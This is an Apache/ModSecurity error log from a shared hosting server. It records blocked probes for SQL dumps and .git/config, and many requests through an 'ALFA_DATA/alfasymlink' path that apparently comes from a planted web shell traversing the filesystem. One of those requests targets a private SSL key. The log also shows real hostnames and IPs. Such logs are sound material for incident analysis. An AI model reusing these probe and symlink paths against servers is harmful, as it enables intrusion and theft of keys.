[Sat Oct 24 06:12:32.103395 2026] [security2:error] [pid 2609012:tid 2609012] [client 186.65.114.204:51655] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/backup.sql"] [unique_id "atyEkHUcfBNBYE9xHAI_xAAAAAA"]
[Sat Oct 24 06:12:32.104238 2026] [security2:error] [pid 2609012:tid 2609012] [client 186.65.114.204:51655] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "atyEkHUcfBNBYE9xHAI_xAAAAAA"]
[Sat Oct 24 06:12:32.972647 2026] [security2:error] [pid 2609012:tid 2609012] [client 186.65.114.204:51655] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/dump.sql"] [unique_id "atyEkHUcfBNBYE9xHAI_xQAAAAA"]
[Sat Oct 24 06:12:32.973099 2026] [security2:error] [pid 2609012:tid 2609012] [client 186.65.114.204:51655] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/dump.sql"] [unique_id "atyEkHUcfBNBYE9xHAI_xQAAAAA"]
[Sat Oct 24 06:12:32.973894 2026] [security2:error] [pid 2609012:tid 2609012] [client 186.65.114.204:51655] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "atyEkHUcfBNBYE9xHAI_xQAAAAA"]
[Sat Oct 24 06:12:33.522442 2026] [security2:error] [pid 2609012:tid 2609012] [client 186.65.114.204:51655] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/db.sql"] [unique_id "atyEkXUcfBNBYE9xHAI_xgAAAAA"]
[Sat Oct 24 06:12:33.522871 2026] [security2:error] [pid 2609012:tid 2609012] [client 186.65.114.204:51655] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/db.sql"] [unique_id "atyEkXUcfBNBYE9xHAI_xgAAAAA"]
[Sat Oct 24 06:12:33.523702 2026] [security2:error] [pid 2609012:tid 2609012] [client 186.65.114.204:51655] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "atyEkXUcfBNBYE9xHAI_xgAAAAA"]
[Sat Oct 24 06:12:34.147617 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 98.82.59.253:14589] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:12:38.162987 2026] [ssl:error] [pid 2608810:tid 2608810] (70014)End of file found: [client 54.152.163.42:48438] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:12:58.637257 2026] [security2:error] [pid 2608810:tid 2608810] [client 45.148.10.120:56912] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atyEqqVWPMRLkHgZYZD51gAAABU"]
[Sat Oct 24 06:12:58.637495 2026] [security2:error] [pid 2608810:tid 2608810] [client 45.148.10.120:56912] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atyEqqVWPMRLkHgZYZD51gAAABU"]
[Sat Oct 24 06:12:58.637834 2026] [security2:error] [pid 2608810:tid 2608810] [client 45.148.10.120:56912] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atyEqqVWPMRLkHgZYZD51gAAABU"]
[Sat Oct 24 06:12:59.588403 2026] [security2:error] [pid 2608731:tid 2608731] [client 45.148.10.120:56926] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atyEq_PD_keneTOG9Sbh3AAAAAg"]
[Sat Oct 24 06:12:59.588620 2026] [security2:error] [pid 2608731:tid 2608731] [client 45.148.10.120:56926] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atyEq_PD_keneTOG9Sbh3AAAAAg"]
[Sat Oct 24 06:12:59.588900 2026] [security2:error] [pid 2608731:tid 2608731] [client 45.148.10.120:56926] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atyEq_PD_keneTOG9Sbh3AAAAAg"]
[Sat Oct 24 06:13:02.269142 2026] [ssl:error] [pid 2607845:tid 2607845] (70014)End of file found: [client 23.22.59.87:49175] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:13:10.236904 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 54.221.203.24:56331] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:13:15.407125 2026] [ssl:error] [pid 2608663:tid 2608663] (70014)End of file found: [client 52.7.33.248:21003] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:13:26.175585 2026] [ssl:error] [pid 2608798:tid 2608798] (70014)End of file found: [client 3.227.180.70:55085] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:13:30.160353 2026] [ssl:error] [pid 2607845:tid 2607845] (70014)End of file found: [client 100.24.167.60:4412] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:13:34.220329 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 44.210.204.255:41141] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:13:42.160624 2026] [ssl:error] [pid 2608663:tid 2608663] (70014)End of file found: [client 100.24.167.60:26358] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:13:50.164033 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 52.73.6.26:24922] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:14:02.199325 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 3.210.223.61:10715] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:14:18.206142 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 18.235.158.19:22293] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:14:22.173060 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 18.213.27.222:38293] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:14:34.232708 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 44.217.255.167:30885] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:14:38.177820 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 23.23.180.225:45572] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:14:42.169239 2026] [core:error] [pid 2608663:tid 2608663] (13)Permission denied: [client 18.205.127.11:21087] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/device:11/subsystem/devices/device:12/eject
[Sat Oct 24 06:14:45.339424 2026] [security2:error] [pid 2608810:tid 2608810] [client 85.208.96.193:44396] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/e8142_1b44d_c41bdc3573f1dc6ffc8e014d1c4cca75.key"] [unique_id "atyFFaVWPMRLkHgZYZD52gAAABU"]
[Sat Oct 24 06:14:45.339955 2026] [security2:error] [pid 2608810:tid 2608810] [client 85.208.96.193:44396] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/e8142_1b44d_c41bdc3573f1dc6ffc8e014d1c4cca75.key"] [unique_id "atyFFaVWPMRLkHgZYZD52gAAABU"]
[Sat Oct 24 06:14:45.340371 2026] [security2:error] [pid 2608810:tid 2608810] [client 85.208.96.193:44396] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/e8142_1b44d_c41bdc3573f1dc6ffc8e014d1c4cca75.key"] [unique_id "atyFFaVWPMRLkHgZYZD52gAAABU"]
[Sat Oct 24 06:14:46.216752 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 52.204.71.8:45797] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:15:00.878595 2026] [proxy_fcgi:error] [pid 2608663:tid 2608663] [client 138.84.109.101:63583] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 06:15:02.169672 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 18.205.213.231:21795] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:15:10.240498 2026] [security2:error] [pid 2607243:tid 2607243] [client 18.232.36.1:20231] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/device:11/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:00/physical_node/driver/module/drivers/pci:piix4_smbus/0000:00:01.3/"] [unique_id "atyFLlGNStwISql-V9e8zgAAAAs"]
[Sat Oct 24 06:15:10.240547 2026] [security2:error] [pid 2607243:tid 2607243] [client 18.232.36.1:20231] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/device:11/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:00/physical_node/driver/module/drivers/pci:piix4_smbus/0000:00:01.3/"] [unique_id "atyFLlGNStwISql-V9e8zgAAAAs"]
[Sat Oct 24 06:15:22.334640 2026] [ssl:error] [pid 2607845:tid 2607845] (70014)End of file found: [client 34.233.219.155:10770] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:15:30.314443 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 34.225.138.57:3545] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:15:33.725780 2026] [core:error] [pid 2608811:tid 2608811] (13)Permission denied: [client 185.191.171.14:17810] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sigqueue/usersize
[Sat Oct 24 06:15:34.179837 2026] [ssl:error] [pid 2609012:tid 2609012] (5)Input/output error: [client 34.192.67.98:19518] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:15:39.043238 2026] [ssl:error] [pid 2608663:tid 2608663] (70014)End of file found: [client 3.224.215.150:64863] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:15:51.365134 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 185.191.171.1:43550] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:15:58.263350 2026] [ssl:error] [pid 2608810:tid 2608810] (70014)End of file found: [client 54.166.104.83:7419] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:16:02.331080 2026] [ssl:error] [pid 2608811:tid 2608811] (22)Invalid argument: [client 18.232.11.247:20268] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:16:16.428861 2026] [core:crit] [pid 2603807:tid 2603807] (13)Permission denied: [client 66.228.40.143:22820] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 06:16:18.184254 2026] [core:error] [pid 2609012:tid 2609012] (13)Permission denied: [client 3.225.45.252:47207] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:05/subsystem/devices/device:02/wakeup/wakeup0/device/subsystem/drivers/pvpanic/bind
[Sat Oct 24 06:16:22.207941 2026] [core:error] [pid 2608663:tid 2608663] (13)Permission denied: [client 52.205.141.124:47135] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/ACPI0010:00/LNXCPU:00/physical_node/node0/cpu0/crash_notes_size
[Sat Oct 24 06:16:26.222004 2026] [core:error] [pid 2607243:tid 2607243] (13)Permission denied: [client 185.191.171.18:12048] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/mm_struct/objs_per_slab
[Sat Oct 24 06:16:34.242228 2026] [authz_core:error] [pid 2607843:tid 2607843] [client 18.213.240.226:15554] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/escuelas1.com/php.ini
[Sat Oct 24 06:16:54.311079 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 34.225.87.80:12409] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:17:02.172592 2026] [ssl:error] [pid 2608810:tid 2608810] (70014)End of file found: [client 44.205.180.155:48162] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:17:06.160447 2026] [core:error] [pid 2607845:tid 2607845] (13)Permission denied: [client 18.214.124.6:41932] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:03/physical_node/subsystem/drivers/ohci-pci/new_id
[Sat Oct 24 06:17:14.207296 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 52.71.46.142:46040] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:17:18.221910 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 54.235.172.96:53990] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:17:22.196125 2026] [core:error] [pid 2608663:tid 2608663] (13)Permission denied: [client 3.217.82.254:23479] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/subsystem/drivers/ata_piix/uevent
[Sat Oct 24 06:17:26.166966 2026] [core:error] [pid 2607243:tid 2607243] (13)Permission denied: [client 52.0.218.219:22062] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/tty32/subsystem/tty7/subsystem/ttyS3/uartclk
[Sat Oct 24 06:17:30.190693 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 18.207.79.144:41941] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:17:38.209417 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 3.89.176.255:64932] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:17:42.232333 2026] [ssl:error] [pid 2608810:tid 2608810] (70014)End of file found: [client 23.21.179.27:9996] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:17:51.830464 2026] [security2:error] [pid 2609012:tid 2609012] [client 170.106.147.63:58890] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "64.20.54.226"] [uri "/"] [unique_id "atyFz3UcfBNBYE9xHAI_1AAAAAA"]
[Sat Oct 24 06:17:51.831537 2026] [authz_core:error] [pid 2609012:tid 2609012] [client 170.106.147.63:58890] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 06:17:54.167121 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 34.236.135.14:55319] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:17:58.286613 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 18.204.152.114:38074] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:18:07.064764 2026] [core:error] [pid 2609012:tid 2609012] (13)Permission denied: [client 85.208.96.210:26302] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/senderverifybypasshosts
[Sat Oct 24 06:18:10.164029 2026] [ssl:error] [pid 2608663:tid 2608663] (70014)End of file found: [client 44.209.35.147:29097] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:18:17.491893 2026] [security2:error] [pid 2608798:tid 2608798] [client 185.191.171.14:37076] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/vtiger72/php71/clone.php"] [unique_id "atyF6bX1SaR9hxmEXogn0gAAAAo"]
[Sat Oct 24 06:18:17.491939 2026] [security2:error] [pid 2608798:tid 2608798] [client 185.191.171.14:37076] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/vtiger72/php71/clone.php"] [unique_id "atyF6bX1SaR9hxmEXogn0gAAAAo"]
[Sat Oct 24 06:18:18.196904 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 54.84.147.79:56050] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:18:22.187684 2026] [ssl:error] [pid 2607845:tid 2607845] (70014)End of file found: [client 54.225.98.148:12186] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:18:34.161047 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 98.82.63.147:57005] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:18:38.160048 2026] [core:error] [pid 2603807:tid 2603807] (13)Permission denied: [client 100.27.153.9:33928] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/virtual/graphics/fbcon/subsystem/fb0/device/driver/0000:00:02.0/subsystem/devices/0000:00:03.0/firmware_node/physical_node/rom
[Sat Oct 24 06:18:58.161905 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 52.202.233.37:14071] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:19:02.198470 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 34.206.193.60:36688] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:19:02.400851 2026] [core:error] [pid 2609012:tid 2609012] (13)Permission denied: [client 85.208.96.193:61216] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fs_cache/objects
[Sat Oct 24 06:19:06.155835 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 34.236.41.241:19472] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:19:14.229892 2026] [core:error] [pid 2607243:tid 2607243] (13)Permission denied: [client 98.83.178.66:48783] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/driver/0000:00:04.0/driver/bind
[Sat Oct 24 06:19:30.296619 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 3.221.244.28:58101] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:19:42.175854 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 3.229.95.193:5856] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:19:47.295287 2026] [core:error] [pid 2607243:tid 2607243] (13)Permission denied: [client 185.191.171.11:35888] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-512/alloc_calls
[Sat Oct 24 06:19:50.221838 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 23.21.250.48:10265] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:19:58.157899 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 34.227.156.153:51598] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:20:02.147591 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 34.225.243.131:44916] AH02013: coalesce failed to read from data bucket
